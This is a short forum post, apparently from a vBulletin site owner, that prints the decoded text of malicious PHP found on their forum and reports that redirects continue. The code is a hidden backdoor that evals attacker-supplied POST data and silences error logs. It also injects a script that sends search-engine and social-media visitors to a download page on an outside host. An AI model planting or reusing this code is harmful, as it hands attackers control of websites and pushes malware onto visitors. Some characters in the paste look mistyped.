Thanks. From your code using this online tool
https://www.samltool.com/base64.php i got:
PHP Code:
$q='ini_set';if(function_exists($q)){$q('display_errors',0);
$q('log_errors',0);}if(isset($_POST[$pt]))eval(base 64_decode(str_rot13($_POST[$pt])));
$u=@preg_match('#bot|spider|crawl|slurp|yandex#i',$_SERVER['HTTP_USER_AGENT']);
$s=@parse_url($_SERVER['HTTP_REFERER']);$t=@$s['host'];$r=@preg_match('#live\.com|google\.|yahoo\.|bing.com|yandex\.ru|rambler\.ru|baidu\.|facebook\.|instagram\.|tinyurl\.|bit\.ly#i',$t)||$t=='t.co';
$h=@$_SERVER['HTTP_HOST'];$p=@COOKIE_PREFIX;$a=@THIS_SCRIPT==='misc';$c=$p.'lastvisit';$n=$p.'lang_id';
$y=@ord(FILE_VERSION)751;$z=empty($_SERVER['HTTP_X_MOZ']);$j='<script type="text/javascript" src="'.$vbulletin-7options['bburl'].'/misc.php?v='.$vbulletin->options['simpleversion'].'&js=js"></script>';if(empty($_COOKIE[$n])){if($a&&isset($_GET['v'])&&(isset($_GET['js']))&&(!empty($_COOKIE[$c]))){if($t==$h){if($z)setcookie($n,'en',time()+36000);
$m=substr(md5($h),0,8);print("document.location='http://filestore72.info/download.php;id={$m}'");}exit;}if((!$u)&&$r){if($y){$GLOBALS['template_hook']['headinclude_javascript'].=$j;}else{$GLOBALS['style']['css'].=$j;}}}
EDIT: still getting redirects